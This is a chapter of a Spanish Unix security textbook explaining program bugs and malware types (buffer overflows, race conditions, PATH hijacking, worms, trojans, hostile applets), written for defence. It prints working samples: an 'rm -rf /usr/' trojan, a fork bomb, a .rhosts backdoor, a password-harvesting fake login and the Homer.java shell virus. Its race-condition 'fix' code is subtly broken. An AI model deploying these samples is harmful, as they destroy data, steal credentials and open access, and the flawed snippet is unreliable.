Seguridad en Unix y Redes
Libro en Formato HTML y PDF de seguridad informática realizado por Antonio Villalon Huerta

Los contenidos pueden estar desactualizados con respecto al original

Este documento se encuentra disponible también en formato PDF

Programas seguros, inseguros y nocivos


next up previous contents
Siguiente: Auditoría del sistema Subir: Seguridad del sistema Anterior: El sistema de ficheros   Índice General

Subsecciones

Programas seguros, inseguros y nocivos

Introducción

En 1990 Barton P. Miller y un grupo de investigadores publicaron [MFS90], un artículo en el que se mostraba que demasiadas herramientas estándar (más del 25%) de Unix fallaban ante elementos tan simples como una entrada anormal. Cinco años más tarde otro grupo de investigación, dirigido también por Barton P. Miller, realizó el estudio [MKL$^+$95], lamentablemente no publicado; las conclusiones en este último estudio fueron sorprendentes: el sistema con las herramientas más estables era Slackware Linux, un Unix gratuito y de código fuente libre que presentaba una tasa de fallos muy inferior al de sistemas comerciales como Solaris o IRIX. Aparte de este hecho anecdótico, era preocupante comprobar como la mayoría de problemas descubiertos en 1990 seguía presente en los sistemas Unix estudiados.

Aunque por fortuna la calidad del software ha mejorado mucho en los últimos años6.1, y esa mejora lleva asociada una mejora en la robustez del código, los fallos y errores de diseño en aplicaciones o en el propio núcleo son una de las fuentes de amenazas a la seguridad de todo sistema informático. Pero no sólo los errores son problemáticos, sino que existen programas - como los virus - realizados en la mayoría de situaciones no para realizar tareas útiles sino para comprometer la seguridad de una máquina o de toda una red. Este tipo de programas sólamente compromete la seguridad cuando afectan al administrador; si un virus infecta ficheros de un usuario, o si éste ejecuta un troyano, sólo podrá perjudicarse a sí mismo: podrá borrar sus ficheros, enviar correo en su nombre o matar sus procesos, pero no hacer lo mismo con el resto de usuarios o el root. El problema para la seguridad viene cuando es el propio administrador quien utiliza programas contaminados por cualquier clase de fauna, y para evitar esto hay una medida de protección básica: la prevención. Es crucial que las actividades como administrador se reduzcan al mínimo, ejecutando como usuario normal las tareas que no requieran de privilegios. Cuando no quede más remedio que trabajar como root (por ejemplo a la hora de instalar software en el sistema), no hemos de ejecutar nada que no provenga de una fuente fiable, e incluso así tomar precauciones en caso de que el programa realice funciones mínimamente delicadas para el sistema operativo (por ejemplo, probarlo antes en una máquina de testeo, o en entornos cerrados con chroot()). Es muy normal, sobre todo entre administradores de Linux, el recomendar que no se ejecute nada sin haber leído previamente el código fuente, o al menos que dicho código esté disponible; esto, aunque es una solución perfecta al problema, es inaplicable en la mayoría de situaciones. Por un lado, no todas las aplicaciones o sistemas tienen su código abierto a sus usuarios, por lo que nos estaríamos restringiendo a utilizar programas generalmente no comerciales - algo que quizás no depende de nosotros, como administradores -. Por otro, resulta absurdo pensar que un administrador tenga el tiempo necesario para leer (y lo más importante, para comprobar) cada línea del código de todos los programas instalados en sus máquinas.

La base fiable de cómputo

La base fiable (o segura) de cómputo (Trusted Computing Base, TCB) es una característica de ciertos Unices que incrementa la seguridad del sistema marcando ciertos elementos del mismo como `seguros'. Aunque estos elementos son básicamente el hardware y ciertos ficheros, la parte software es mucho más importante para el administrador que la máquina física, por lo que aquí hablaremos principalmente de ella. Los ficheros pertenecientes a la base segura de cómputo, y la TCB en su conjunto, tratan de asegurar al administrador que está ejecutando el programa que desea y no otro que un intruso haya podido poner en su lugar (conteniendo, por ejemplo, un troyano). La TCB implementa la política de seguridad del sistema inspeccionando y vigilando las interacciones entre entidades (procesos) y objetos (principalmente ficheros); dicha política suele consistir en un control de accesos y en la reutilización de objetos (cómo debe inicializarse o desinstalarse un objeto antes de ser reasignado).

Los ficheros con la marca de seguridad activada son generalmente el propio núcleo del sistema operativo y archivos que mantienen datos relevantes para la seguridad, contenidos en ciertos directorios como /tcb/ o /etc/auth/; cualquier fichero nuevo o que pertenezca a la TCB pero que haya sido modificado automáticamente tiene su marca desactivada. Puede ser activada o reactivada por el administrador (por ejemplo, en AIX con la orden tcbck -a), aunque en algunos sistemas para que un archivo pertenezca a la TCB tiene que haber sido creado con programas que ya pertenecían a la TCB. Con este mecanismo se trata de asegurar que nadie, y especialmente el root, va a ejecutar por accidente código peligroso: si el administrador ha de ejecutar tareas sensibles de cara a la seguridad, puede arrancar un intérprete de comandos seguro (perteneciente a la TCB) que sólo le permitirá ejecutar programas que estén en la base.

La comunicación entre la base fiable de cómputo y el usuario se ha de realizar a través de lo que se denomina la ruta de comunicación fiable (Trusted Communication Path, TCP), ruta que se ha de invocar mediante una combinación de teclas (por ejemplo, Ctrl-X Ctrl-R en AIX) denominada SAK (Secure Attention Key) siempre que el usuario deba introducir datos que no deban ser comprometidos, como una clave. Tras invocar a la ruta de comunicación fiable mediante la combinación de teclas correspondiente el sistema operativo se ha de asegurar de que los programas no fiables (los no incluidos en la TCB) no puedan acceder a la terminal desde la que se ha introducido el SAK; una vez conseguido esto - generalmente a partir de init - se solicitará al usuario en la terminal su login y su password, y si ambos son correctos se lanzará un shell fiable (tsh), que sólo ejecutará programas miembros de la TCB (algo que es muy útil por ejemplo para establecer un entorno seguro para la administración del sistema, si el usuario es el root). Desde el punto de vista del usuario, tras pulsar el SAK lo único que aparecerá será un prompt solicitando el login y la clave; si en lugar de esto aparece el símbolo de tsh, significa que alguien ha intentado robar nuestra contraseña: deberemos averiguar quién está haciendo uso de esa terminal (por ejemplo mediante who) y notificarlo al administrador - o tomar las medidas oportunas si ese administrador somos nosotros -.

A pesar de la utilidad de la TCB, es recomendable recordar que un fichero incluido en ella, con la marca activada, no siempre es garantía de seguridad; como todos los mecanismos existentes, la base fiable de cómputo está pensada para utilizarse junto a otros mecanismos, y no en lugar de ellos.


Errores en los programas

Los errores o bugs a la hora de programar código de aplicaciones o del propio núcleo de Unix constituyen una de las amenazas a la seguridad que más quebraderos de cabeza proporciona a la comunidad de la seguridad informática. En la mayoría de situaciones no se trata de desconocimiento a la hora de realizar programas seguros, sino del hecho que es prácticamente imposible no equivocarse en miles de líneas de código: simplemente el núcleo de Minix, un mini-Unix diseñado por Andrew Tanenbaum ([Tan91]) con fines docentes, tiene más de 13000 líneas de código en su versión 1.0.

Cuando un error sucede en un programa que se ejecuta en modo usuario el único problema que suele causar es la inconveniencia para quien lo estaba utilizando. Por ejemplo, imaginemos un acceso no autorizado a memoria por parte de cierta aplicación; el sistema operativo detectará que se intenta violar la seguridad del sistema y finalizará el programa enviándole la señal SIGSEGV. Pero si ese mismo error sucede en un programa que corre con privilegios de root - por ejemplo, un ejecutable setuidado -, un atacante puede aprovechar el fallo para ejecutar código malicioso que el programa a priori no debía ejecutar. Y si un error similar se produce en el código del kernel del sistema operativo, las consecuencias son incluso peores: se podría llegar a producir un Kernel Panic o, dicho de otra forma, la parada súbita de la máquina en la mayoría de situaciones; el error más grave que se puede generar en Unix.

Buffer overflows

Seguramente uno de los errores más comunes, y sin duda el más conocido y utilizado es el stack smashing o desbordamiento de pila, también conocido por buffer overflow6.2; aunque el gusano de Robert T. Morris (1988) ya lo utilizaba, no fué hasta 1997 cuando este fallo se hizo realmente popular a raíz de [One96]. A pesar de que alguien pueda pensar que en todo el tiempo trascurrido hasta hoy en día los problemas de buffer overflow estarán solucionados, o al menos controlados, aún se ven con frecuencia alertas sobre programas que se ven afectados por desbordamientos (justamente hoy, 28 de febrero del 2000, han llegado a la lista BUGTRAQ un par de programas que aprovechaban estos errores para aumentar el nivel de privilegio de un usuario en el sistema). Aunque cada vez los programas son más seguros, especialmente los setuidados, es casi seguro que un potencial atacante que acceda a nuestro sistema va a intentar - si no lo ha hecho ya - conseguir privilegios de administrador a través de un buffer overflow.

La idea del stack smashing es sencilla: en algunas implementaciones de C es posible corromper la pila de ejecución de un programa escribiendo más allá de los límites de un array declarado auto en una función; esto puede causar que la dirección de retorno de dicha función sea una dirección aleatoria. Esto, unido a permisos de los ficheros ejecutables en Unix (principalmente a los bits de SetUID y SetGID), hace que el sistema operativo pueda otorgar acceso root a usuarios sin privilegios. Por ejemplo, imaginemos una función que trate de copiar con strcpy() un array de 200 caracteres en uno de 20: al ejecutar el programa, se generará una violación de segmento (y por tanto el clásico core dump al que los usuarios de Unix estamos acostumbrados). Se ha producido una sobreescritura de la dirección de retorno de la función; si logramos que esta sobreescritura no sea aleatoria sino que apunte a un código concreto (habitualmente el código de un shell), dicho código se va a ejecutar.

>Cuál es el problema? El problema reside en los ficheros setuidados y setgidados; recordemos que cuando alguien los ejecuta, está trabajando con los privilegios de quien los creó, y todo lo que ejecute lo hace con esos privilegios...incluido el código que se ha insertado en la dirección de retorno de nuestra función problemática. Si como hemos dicho, este código es el de un intérprete de comandos y el fichero pertenece al administrador, el atacante consigue ejecutar un shell con privilegios de root.

Existen multitud de exploits (programas que aprovechan un error en otro programa para violar la política de seguridad del sistema) disponibles en Internet, para casi todas las variantes de Unix y que incluyen el código necesario para ejecutar shells sobre cualquier operativo y arquitectura. Para minimizar el impacto que los desbordamientos pueden causar en nuestro sistema es necesaria una colaboración entre fabricantes, administradores y programadores ([Ins97], [Smi97]...). Los primeros han de tratar de verificar más la robustez de los programas críticos antes de distribuirlos, mientras que los administradores han de mantener al mínimo el número de ficheros setuidados o setgidados en sus sistemas y los programadores tienen que esforzarse en generar código con menos puntos de desbordamiento; en [CWP$^+$00] se pueden encontrar algunas líneas a tener en cuenta en la prevención de buffer overflows.

Condiciones de carrera

Otro error muy conocido en el mundo de los sistemas operativos son las condiciones de carrera, situaciones en las que dos o más procesos leen o escriben en un área compartida y el resultado final depende de los instantes de ejecución de cada uno ([Tan91]). Cuando una situación de este tipo se produce y acciones que deberían ser atómicas no lo son, existe un intervalo de tiempo durante el que un atacante puede obtener privilegios, leer y escribir ficheros protegidos, y en definitiva violar las políticas de seguridad del sistema ([Bis95]).

Por ejemplo, imaginemos un programa setuidado perteneciente a root que almacene información en un fichero propiedad del usuario que está ejecutando el programa; seguramente el código contendrá unas líneas similares a las siguientes (no se ha incluido la comprobación básica de errores por motivos de claridad):
if(access(fichero, W_OK)==0){
        open();
        write();
}
En una ejecución normal, si el usuario no tiene privilegios suficientes para escribir en el fichero, la llamada a access() devolverá -1 y no se permitirá la escritura. Si esta llamada no falla open() tampoco lo hará, ya que el UID efectivo con que se está ejecutando el programa es el del root; así nos estamos asegurando que el programa escriba en el fichero si y sólo si el usuario que lo ejecuta puede hacerlo - sin privilegios adicionales por el setuid -. Pero, >qué sucede si el fichero cambia entre la llamada a access() y las siguientes? El programa estará escribiendo en un archivo sobre el que no se han realizado las comprobaciones necesarias para garantizar la seguridad. Por ejemplo, imaginemos que tras la llamada a access(), y justo antes de que se ejecute open(), el usuario borra el fichero referenciado y enlaza /etc/passwd con el mismo nombre: el programa estará escribiendo información en el fichero de contraseñas.

Este tipo de situación, en la que un programa comprueba una propiedad de un objeto y luego ejecuta determinada acción asumiendo que la propiedad se mantiene, cuando realmente no es así, se denomina TOCTTOU (Time of check to time of use). >Qué se puede hacer para evitarla? El propio sistema operativo nos da las diferentes soluciones al problema ([BD96]). Por ejemplo, podemos utilizar descriptores de fichero en lugar de nombres: en nuestro caso, deberíamos utilizar una variante de la llamada access() que trabaje con descriptores en lugar de nombres de archivo (no es algo que exista realmente, sería necesario modificar el núcleo del operativo para conseguirlo); con esto conseguimos que aunque se modifique el nombre del fichero, el objeto al que accedemos sea el mismo durante todo el tiempo. Además, es conveniente invertir el orden de las llamadas (invocar primero a open() y después a nuestra variante de access()); de esta forma, el código anterior quedaría como sigue:
if((fd=open(fichero, O_WRONLY))==NULL){
        if (access2(fileno(fp),W_OK)==0){
            write();
        }
}
No obstante, existen llamadas que utilizan nombres de fichero y no tienen un equivalente que utilice descriptores; para no tener que reprogramar todo el núcleo de Unix, existe una segunda solución que cubre también a estas llamadas: asociar un descriptor y un nombre de fichero sin restringir el modo de acceso. Para esto se utilizaría un modo especial de apertura, O_ACCESS - que sería necesario implementar -, en lugar de los clásicos O_RDONLY, O_WRONLY o O_RDWR; este nuevo modo garantizaría que si el objeto existe se haría sobre él un open() habitual pero sin derecho de escritura o lectura (sería necesario efectuar una segunda llamada a la función, con los parámetros adecuados), y si no existe se reserva un nombre y un inodo de tipo `reservado', un tipo de transición que posteriormente sería necesario convertir en un tipo de fichero habitual en Unix (directorio, socket, enlace...) con las llamadas correspondientes.

Fauna y otras amenazas

En el punto anterior hemos hablado de problemas de seguridad derivados de errores o descuidos a la hora de programar; sin embargo, no todas las amenazas lógicas provienen de simples errores: ciertos programas, denominados en su conjunto malware o software malicioso, son creados con la intención principal de atacar a la seguridad6.3. En esta sección vamos a hablar de algunos tipos de malware, sus características y sus efectos potenciales.

Para prevenir casi todo el software malicioso que pueda afectar a nuestros sistemas es necesaria una buena concienciación de los usuarios: bajo ningún concepto han de ejecutar software que no provenga de fuentes fiables, especialmente programas descargados de páginas underground o ficheros enviados a través de IRC. Evidentemente, esto se ha de aplicar - y con más rigor - al administrador de la máquina; si un usuario ejecuta un programa que contiene un virus o un troyano, es casi imposible que afecte al resto del sistema: en todo caso el propio usuario, o sus ficheros, serán los únicos perjudicados. Si es el root quien ejecuta el programa contaminado, cualquier archivo del sistema puede contagiarse - virus - o las acciones destructivas del malware - troyano - afectarán sin límites a todos los recursos del sistema. Aparte de descargar el software de fuentes fiables, es recomendable utilizar las `huellas' de todos los programas (generalmente resúmenes MD5 de los ficheros) para verificar que hemos bajado el archivo legítimo; también es preferible descargar el código fuente y compilar nosotros mismos los programas: aparte de cuestiones de eficiencia, siempre tenemos la posibilidad de revisar el código en busca de potenciales problemas de seguridad.

Otra medida de seguridad muy importante es la correcta asignación de la variable de entorno $PATH, especialmente para el administrador del sistema. Esta variable está formada por todos los directorios en los que el shell buscará comandos para ejecutarlos; podemos visualizar su contenido mediante la siguiente orden:
anita:~# echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin:
/usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin
anita:~#
Cuando un usuario teclea una órden en la línea de comandos, el shell busca en cada uno de estos directorios un ejecutable con el mismo nombre que el tecleado; si lo encuentra, lo ejecuta sin más, y si no lo encuentra se produce un mensaje de error (el clásico `command not found'). Esta búsqueda se realiza en el orden en que aparecen los directorios del $PATH: si por ejemplo se hubiera tecleado `ls', en nuestro caso se buscaría en primer lugar /sbin/ls; como - seguramente - no existirá, se pasará al siguiente directorio de la variable, esto es, se intentará ejecutar /usr/sbin/ls. Este fichero tampoco ha de existir, por lo que se intentará de nuevo con /bin/ls, la ubicación normal del programa, y se ejecutará este fichero.

>Qué problema hay con esta variable? Muy sencillo: para que sea mínimamente aceptable, ninguno de los directorios del $PATH ha de poseer permiso de escritura para los usuarios normales; esto incluye evidentemente directorios como /tmp/, pero también otro que a primera vista puede no tener mucho sentido: el directorio actual, `.'. Imaginemos la siguiente situación: el root de un sistema Unix tiene incluido en su variable $PATH el directorio actual como uno más donde buscar ejecutables; esto es algo muy habitual por cuestiones de comodidad. Por ejemplo, la variable de entorno puede tener el siguiente contenido:
anita:~# echo $PATH
.:/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin:
/usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin
anita:~#
Si este administrador desea comprobar el contenido del directorio /tmp/, o el de $HOME de alguno de sus usuarios (recordemos, directorios donde pueden escribir), seguramente irá a dicho directorio y ejecutará un simple ls. Pero, >qué sucede si el `.' está en primer lugar en la variable $PATH? El shell buscará en primer lugar en el directorio actual, por ejemplo /tmp/, de forma que si ahí existe un ejecutable denominado `ls', se ejecutará sin más: teniendo en cuenta que cualquiera puede escribir en el directorio, ese programa puede tener el siguiente contenido:
anita:~# cat /tmp/ls
#!/bin/sh
rm -rf /usr/ &
anita:~#
Como podemos ver, un inocente `ls' puede destruir parte del sistema de ficheros - o todo -, simplemente porque el administrador no ha tenido la precaución de eliminar de su $PATH directorios donde los usuarios puedan escribir.

Seguramente alguien encontrará una solución - falsa - a este problema: si la cuestión reside en el orden de búsqueda, >por qué no poner el directorio actual al final del $PATH, depués de todos los directorios fiables? De esta forma, el programa ./ls no se ejecutará nunca, ya que antes el shell va a encontrar con toda seguridad al programa legítimo, /bin/ls. Evidentemente esto es así, pero es fácil comprobar que el problema persiste: imaginemos que estamos en esa situación, y ahora tecleamos en /tmp/ la orden lsmore. No ocurrirá nada anormal, ya que tanto `ls' como `more' son programas que el shell ejecutará antes de analizar `.'. Pero, >qué pasaría si nos equivocamos al teclear, y en lugar de `more' escribimos `moer'? Al fin y al cabo, no es un ejemplo tan rebuscado, esto seguramente le ha pasado a cualquier usuario de Unix; si esto ocurre así, el intérprete de órdenes no encontrará ningún programa que se llame `moer' en el $PATH, por lo que se generará un mensaje de error...>Ninguno? >Y si un usuario ha creado /tmp/moer, con un contenido similar al /tmp/ls anterior? De nuevo nos encontramos ante el mismo problema: una orden tan inocente como esta puede afectar gravemente a la integridad de nuestras máquinas. Visto esto, parece claro que bajo ningún concepto se ha de tener un directorio en el que los usuarios puedan escribir, ni siquiera el directorio actual (`.') en la variable $PATH.

Virus

Un virus es una secuencia de código que se inserta en un fichero ejecutable denominado host, de forma que al ejecutar el programa también se ejecuta el virus; generalmente esta ejecución implica la copia del código viral - o una modificación del mismo - en otros programas. El virus necesita obligatoriamente un programa donde insertarse para poderse ejecutar, por lo que no se puede considerar un programa o proceso independiente.

Durante años, un debate típico entre la comunidad de la seguridad informática es la existencia de virus en Unix ([Rad92], [Rad93], [Rad95]...). >Existen virus en este entorno, o por el contrario son un producto de otros sistemas en los que el concepto de seguridad se pierde? Realmente existen virus sobre plataformas Unix capaces de reproducirse e infectar ficheros, tanto ELF como shellscripts: ya en 1983 Fred Cohen diseñó un virus que se ejecutaba con éxito sobre Unix en una VAX 11-750 ([Coh84]); años más tarde, en artículos como [Duf89] o [McI89] se ha mostrado incluso el código necesario para la infección.

Parece claro que la existencia de virus en Unix es algo sobradamente comprobado; entonces, >dónde está el debate? La discusión se centra en hasta qué punto un virus para Unix puede comprometer la seguridad del sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser muy perjudiciales en los sistemas Unix de hoy en día. Se suele tratar de código escrito únicamente como curiosidad científica, ya que cualquier acción que realice un virus es en general más fácilmente realizable por otros medios como un simple exploit; de hecho, uno de los primeros virus para Unix (en términos puristas se podría considerar un troyano más que un virus) fué creado por uno de los propios diseñadores del sistema operativo, Ken Thompson ([Tho84]), con el fin no de dañar al sistema, sino de mostrar hasta qué punto se puede confiar en el software de una máquina.

Gusanos

El término gusano, acuñado en 1975 en la obra de ciencia ficción de John Brunner The Shockwave Rider hace referencia a programas capaces de viajar por sí mismos a través de redes de computadores para realizar cualquier actividad una vez alcanzada una máquina; aunque esta actividad no tiene por qué entrañar peligro, los gusanos pueden instalar en el sistema alcanzado un virus, atacar a este sistema como haría un intruso, o simplemente consumir excesivas cantidades de ancho de banda en la red afectada. Aunque se trata de malware muchísimo menos habitual que por ejemplo los virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea muy difícil, los gusanos son una de las amenazas que potencialmente puede causar mayores daños: no debemos olvidar que el mayor incidente de seguridad de la historia de Unix e Internet fué a causa de un gusano (el famoso Worm de 1988).

Antes del Worm de Robert T. Morris existieron otros gusanos con fines muy diferentes; a principios de los setenta Bob Thomas escribió lo que muchos consideran el primer gusano informático. Este programa, denominado `creeper', no era ni mucho menos malware, sino que era utilizado en los aeropuertos por los controladores aéreos para notificar que el control de determinado avión había pasado de un ordenador a otro. Otros ejemplos de gusanos útiles fueron los desarrollados a principios de los ochenta por John Shoch y Jon Hupp, del centro de investigación de Xerox en Palo Alto, California; estos worms se dedicaron a tareas como el intercambio de mensajes entre sistemas o el aprovechamiento de recursos ociosos durante la noche ([SH82]). Todo funcionaba aparentemente bien, hasta que una mañana al llegar al centro ningún ordenador funcionó debido a un error en uno de los gusanos; al reiniciar los sistemas, inmediatamente volvieron a fallar porque el gusano seguía trabajando, por lo que fué necesario diseñar una vacuna. Este es considerado el primer incidente de seguridad en el que entraban worms en juego.

Sin embargo, no fué hasta 1988 cuando se produjo el primer incidente de seguridad `serio' provocado por un gusano, que a la larga se ha convertido en el primer problema de seguridad informática que saltó a los medios ([Mar88a], [Mar88b], [Roy88]...) y también en el más grave - civil, al menos - de todos los tiempos. El 2 de noviembre de ese año, Robert T. Morris saltó a la fama cuando uno de sus programas se convirtió en `el Gusano' con mayúsculas, en el Worm de Internet. La principal causa del problema fué la filosofía `Security through Obscurity' que muchos aún defienden hoy en día: este joven estudiante era hijo del prestigioso científico Robert Morris, experto en Unix y seguridad - entre otros lugares, ha trabajado por ejemplo para el National Computer Security Center estadounidense -, quien conocía perfectamente uno de los muchos fallos en Sendmail. No hizo público este fallo ni su solución, y su hijo aprovechó ese conocimiento para incorporarlo a su gusano (se puede leer parte de esta fascinante historia en [Sto89]). El Worm aprovechaba varias vulnerabilidades en programas como sendmail, fingerd, rsh y rexecd ([See89]) para acceder a un sistema, contaminarlo, y desde él seguir actuando hacia otras máquinas (en [Spa88], [ER89] o [Spa91a] se pueden encontrar detalles concretos del funcionamiento de este gusano). En unas horas, miles de equipos conectados a la red dejaron de funcionar ([Spa89]), todos presentando una sobrecarga de procesos sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar el sistema no era ninguna solución, porque tras unos minutos de funcionamiento el sistema volvía a presentar el mismo problema.

Fueron necesarias muchas horas de trabajo para poder detener el Worm de Robert T. Morris; expertos de dos grandes universidades norteamericanas, el MIT y Berkeley, fueron capaces de desensamblar el código y proporcionar una solución al problema. Junto a ellos, cientos de administradores y programadores de todo el mundo colaboraron ininterrumpidamente durante varios días para analizar cómo se habían contaminado y cuáles eran los efectos que el gusano había causado en sus sistemas. El día 8 de noviembre, casi una semana después del ataque, expertos en seguridad de casi todos los ámbitos de la vida estadounidense se reunieron para aclarar qué es lo que pasó exactamente, cómo se había resuelto, cuáles eran las consecuencias y cómo se podía evitar que sucediera algo parecido en el futuro; allí había desde investigadores del MIT o Berkeley hasta miembros de la CIA, el Departamento de Energía o el Laboratorio de Investigación Balística, pasando por supuesto por miembros del National Computer Security Center, organizador del evento. Esta reunión, y el incidente en sí, marcaron un antes y un después en la historia de la seguridad informática; la sociedad en general y los investigadores en particular tomaron conciencia del grave problema que suponía un ataque de esa envergadura, y a partir de ahí comenzaron a surgir organizaciones como el CERT, encargadas de velar por la seguridad de los sistemas informáticos. También se determinaron medidas de prevención que siguen vigentes hoy en día, de forma que otros ataques de gusanos no han sido tan espectaculares: a finales de 1989 un gusano llamado wank, que a diferencia del de Morris era destructivo, no tuvo ni de lejos las repercusiones que éste. Desde entonces, no ha habido ninguna noticia importante - al menos publicada por el CERT - de gusanos en entornos Unix.

Conejos

Los conejos o bacterias son programas que de forma directa no dañan al sistema, sino que se limitan a reproducirse, generalmente de forma exponencial, hasta que la cantidad de recursos consumidos (procesador, memoria, disco...) se convierte en una negación de servicio para el sistema afectado. Por ejemplo, imaginemos una máquina Unix sin una quota de procesos establecida; cualquier usuario podría ejecutar un código como el siguiente:
main(){
    while(1){
        malloc(1024);
        fork();
    }
}
Este programa reservaría un kilobyte de memoria y a continuación crearía una copia de él mismo; el programa original y la copia repetirían estas acciones, generando cuatro copias en memoria que volverían a hacer lo mismo. Así, tras un intervalo de ejecución, el código anterior consumiría toda la memoria del sistema, pudiendo provocar incluso su parada.

La mejor forma de prevenir ataques de conejos (o simples errores en los programas, que hagan que éstos consuman excesivos recursos) es utilizar las facilidades que los núcleos de cualquier Unix moderno ofrecen para limitar los recursos que un determinado proceso o usuario puede llegar a consumir en nuestro sistema; en la sección tres se repasan algunos de los parámetros necesarios para realizar esta tarea sobre diversos clones del sistema Unix.

Caballos de Troya

En el libro VIII de La Odisea de Homero se cuenta la historia de que los griegos, tras mucho tiempo de asedio a la ciudad de Troya, decidieron construir un gran caballo de madera en cuyo interior se escondieron unos cuantos soldados; el resto del ejército griego abandonó el asedio dejando allí el caballo, y al darse cuenta de que el sitio a su ciudad había acabado, los troyanos salieron a inspeccionar ese gran caballo de madera. Lo tomaron como una muestra de su victoria y lo introdujeron tras las murallas de la ciudad sin darse cuenta de lo que realmente había en él. Cuando los troyanos estaban celebrando el fin del asedio, del interior del caballo salieron los soldados griegos, que abrieron las puertas de la ciudad al resto de su ejército - que había vuelto al lugar - y pudieron de esta forma conquistar la ciudad de Troya.

De la misma forma que el antiguo caballo de Troya de la mitología griega escondía en su interior algo que los troyanos desconocían, y que tenía una función muy diferente a la que ellos pensaban, un troyano o caballo de Troya actual es un programa que aparentemente realiza una función útil para quién lo ejecuta, pero que en realidad - o aparte - realiza una función que el usuario desconoce, generalmente dañina. Por ejemplo, un usuario que posea el suficiente privilegio en el sistema puede renombrar el editor vi como vi.old, y crear un programa denominado vi como el siguiente:
#!/bin/sh
echo "++">$HOME/.rhosts
vi.old $1
Si esto sucede, cuando alguien trate de editar un fichero automáticamente va a crear un fichero .rhosts en su directorio de usuario, que permitirá a un atacante acceder de una forma sencilla al sistema utilizando las órdenes r- de Unix BSD.

Los troyanos son quizás el malware más difundido en cualquier tipo de entorno ([KT97]), incluyendo por supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos en los que comenta un potencial problema de seguridad - real - en una lista de correo y se acompaña la descripción de un shellscript que en principio aprovecha dicho problema para conseguir privilegios de root. En ese exploit se ha incluido, convenientemente camuflada, una sentencia similar a la siguiente:
echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail \
     -s "`echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk`" root
De esta forma, cuando un script kiddie ejecute el programa para conseguir privilegios en el sistema, sin darse cuenta automáticamente lo estará notificando al administrador del mismo; evidentemente el exploit suele ser falso y no da ningún privilegio adicional, simplemente sirve para que el root sepa qué usuarios están `jugando' con la seguridad de sus máquinas.

Por desgracia, estos troyanos inofensivos no son los más comunes; existen también ejemplos de caballos de Troya dañinos: sin duda el ejemplo típico de troyano (tan típico que ha recibido un nombre especial: trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nada más encender una terminal de una máquina Unix aparece el clásico mensaje `login:' solicitando nuestro nombre de usuario y contraseña, datos que con toda seguridad la persona que enciende este dispositivo tecleará para poder acceder al sistema. Pero, >qué sucedería si el programa que imprime el mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear un código que muestre un mensaje similar, guarde la información leída de teclado (el login y el password) e invoque después al programa login original; tras la primera lectura, se mostrará el también clásico mensaje `Login incorrect', de forma que el usuario pensará que ha tecleado mal sus datos - nada extraño, al fin y al cabo -. Cuando el programa original se ejecute, se permitirá el acceso al sistema y ese usuario no habrá notado nada anormal, pero alguien acaba de registrar su login y su contraseña. Un troyano de este tipo es tan sencillo que se puede hacer - de forma simplificada - en unas pocas líneas de shellscript:
luisa:~$ cat trojan
clear
printf "`uname -n` login: "
read login
stty -echonl -echo
printf "Password: "
read pass
echo "$login : $pass" >>/tmp/.claves
printf "\nLogin incorrect"
echo 
exec /bin/login
luisa:~$
El atacante no necesita más que dejar lanzado el programa en varias terminales del sistema y esperar tranquilamente a que los usuarios vayan tecleando sus logins y passwords, que se guardarán en /tmp/.claves; evidentemente este ejemplo de troyano es muy simple, pero es suficiente para hacernos una idea del perjuicio que estos programas pueden producir en una máquina Unix. En los últimos años han aparecido caballos de Troya mucho más elaborados en diversas utilidades de Unix, incluso en aplicaciones relacionadas con la seguridad como TCP Wrappers; en [CER99] se pueden encontrar referencias a algunos de ellos.

La forma más fácil de descubrir caballos de Troya (aparte de sufrir sus efectos una vez activado) es comparar los ficheros bajo sospecha con una copia de los originales, copia que evidentemente se ha de haber efectuado antes de poner el sistema en funcionamiento y debe haber sido guardada en un lugar seguro, para evitar así que el atacante modifique también la versión de nuestro backup. También es recomendable - como sucede con el resto de malware - realizar resúmenes MD5 de nuestros programas y compararlos con los resúmenes originales; esto, que muchas veces es ignorado, puede ser una excelente solución para prevenir la amenaza de los caballos de Troya.

Applets hostiles

En los últimos años, con la proliferación de la web, Java y Javascript, una nueva forma de malware se ha hecho popular. Se trata de los denominados applets hostiles, applets que al ser descargados intentan monopolizar o explotar los recursos del sistema de una forma inapropiada ([MF96]); esto incluye desde ataques clásicos como negaciones de servicio o ejecución remota de programas en la máquina cliente hasta amenazas mucho más elaboradas, como difusión de virus, ruptura lógica de cortafuegos o utilización de recursos remotos para grandes cálculos científicos.

Como ejemplo de applet hostil - aunque este en concreto no es muy peligroso - tenemos el siguiente código, obra de Mark D. LaDue (1996):
anita:~/Security# cat Homer.java
import java.io.*;

class Homer {
    public static void main (String[] argv) {
    try {
        String userHome = System.getProperty("user.home");
        String target = "$HOME";
        FileOutputStream outer = new 
                 FileOutputStream(userHome + "/.homer.sh");
        String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
        "echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
        "for file in `find " + target + " -type f -print`" + "\n" + "do" +
        "\n" + "    case \"`sed 1q $file`\" in" + "\n" +
        "        \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
        " || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
        "    esac" + "\n" + "done" + "\n" + 
        "2>/dev/null";
        byte[] buffer = new byte[homer.length()];
        homer.getBytes(0, homer.length(), buffer, 0);
        outer.write(buffer);
        outer.close();
        Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
                        userHome + "/.homer.sh");
        Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
                       "/.homer.sh");
        } catch (IOException ioe) {}
    }
}
anita:~/Security#
Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes de hacerlo muestra el mensaje `Java is safe, and UNIX viruses do not exist', para después localizar todos los ficheros shell en el directorio $HOME, comprobar cuáles están infectados, e infectar los que no lo están.

